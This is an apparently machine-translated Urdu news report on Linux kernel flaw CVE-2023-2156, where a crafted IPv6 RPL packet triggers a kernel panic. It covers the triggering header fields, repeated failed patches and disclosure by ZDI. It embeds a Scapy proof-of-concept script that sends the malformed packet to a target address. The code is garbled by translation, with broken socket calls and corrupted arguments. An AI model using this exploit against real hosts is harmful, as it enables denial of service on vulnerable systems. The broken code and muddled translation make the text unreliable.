دانا میں بغیر پیچ شدہ (0-دن) خطرے (CVE-2023-2156) کی تفصیلات کا انکشاف کیا گیا ہے۔ Linux، جو خصوصی طور پر تیار کردہ IPv6 پیکٹ (پیکٹ آف ڈیتھ) بھیج کر سسٹم کو روکنے کی اجازت دیتا ہے۔ مسئلہ صرف اس وقت پیش آتا ہے جب روٹنگ پروٹوکول فار لو-پاور لوسی نیٹ ورکس (آر پی ایل) کے لیے سپورٹ کو فعال کیا جائے، جو ڈسٹری بیوشنز میں ڈیفالٹ طور پر غیر فعال ہوتا ہے اور بنیادی طور پر ان ایمبیڈڈ ڈیوائسز پر استعمال ہوتا ہے جو وائرلیس نیٹ ورکس پر کام کرتے ہیں جن میں پیکٹ کے زیادہ نقصان ہوتے ہیں۔
خطرے کی وجہ RPL پروٹوکول پارسنگ کوڈ میں بیرونی ڈیٹا کی غلط ہینڈلنگ کی وجہ سے ہے، جو دعویٰ کی غلطی اور کرنل گھبراہٹ کو متحرک کرتا ہے۔ جب IPv6 RPL پیکٹ ہیڈر کو پارس کرکے حاصل کردہ ڈیٹا کو k_buff (ساکٹ بفر) ڈھانچے میں رکھا جاتا ہے، اگر CmprI فیلڈ کو 15 پر سیٹ کیا جاتا ہے، Segleft فیلڈ کو 1 پر سیٹ کیا جاتا ہے، اور CmprE فیلڈ کو 0 پر سیٹ کیا جاتا ہے، تو پتوں کے ساتھ 48 بائٹ ویکٹر کو کھول دیا جاتا ہے۔ بفر اس صورت میں، skb_push فنکشن، ڈیٹا کو ڈھانچے میں رکھنے کے لیے استعمال کیا جاتا ہے، ڈیٹا اور بفر کے سائز کے تناسب کی جانچ پڑتال کرتا ہے، بفر کی حدود سے باہر لکھنے کو روکنے کے لیے گھبراہٹ کا باعث بنتا ہے۔
مثال کا فائدہ اٹھائیں: # ہم scapy.all امپورٹ سے پیکٹ تیار کرنے کے لیے Scapy کا استعمال کریں گے * امپورٹ ساکٹ # اپنے LAN انٹرفیس سے IPv6 استعمال کریں DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # ہم پیکٹ بھیجنے کے لیے ساکٹ استعمال کرتے ہیں sockfd = socket. IN. socket.SOCK_RAW, socket.IPPROTO_RAW) # پیکٹ تیار کریں # Type = 3 اس کو RPL پیکٹ بناتا ہے # ایڈریسز میں 3 ایڈریس ہوتے ہیں، لیکن چونکہ CmprI 15 ہے، # پہلے دو ایڈریسز میں سے ہر ایک آکٹیٹ کو کمپریسڈ ایڈریس سمجھا جاتا ہے # Segleft = 1 plxI = 1 کو ٹرگر کرنے کے لیے آخری سیٹ کرنے کے لیے 15 اور CmprE سے 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=[“a8::”, “a7::”, “a6::”], segleft=1, lastentry=0xfend this evil) sockfd.sendto(بائٹس(p)، (DST_ADDR، 0))
قابل ذکر بات یہ ہے کہ، کرنل ڈویلپرز کو جنوری 2022 میں خطرے سے متعلق مطلع کیا گیا تھا اور پچھلے 15 مہینوں میں تین بار اسے ٹھیک کرنے کی کوشش کی گئی تھی، ستمبر 2022، اکتوبر 2022، اور اپریل 2023 میں پیچ جاری کیے گئے تھے۔ تاہم، ہر بار، اصلاحات ناکافی ثابت ہوئیں، اور کمزوری کو دوبارہ درست کیا جا سکتا ہے۔ بالآخر، ZDI پروجیکٹ، جس نے خطرے کے حل کو مربوط کیا، نے دانا میں ورکنگ پیچ کے جاری ہونے کا انتظار کیے بغیر خطرے کے بارے میں تفصیلی معلومات ظاہر کرنے کا فیصلہ کیا۔
لہٰذا، کمزوری بے محل رہتی ہے۔ کرنل 6.4-rc2 میں شامل پیچ بھی غیر موثر ہے۔ صارفین کو مشورہ دیا جاتا ہے کہ وہ اس بات کی تصدیق کریں کہ ان کے سسٹمز پر RPL پروٹوکول استعمال نہیں ہوا ہے، جو کہ sysctl -a | grep -i rpl_seg_enabled
ماخذ: opennet.ru
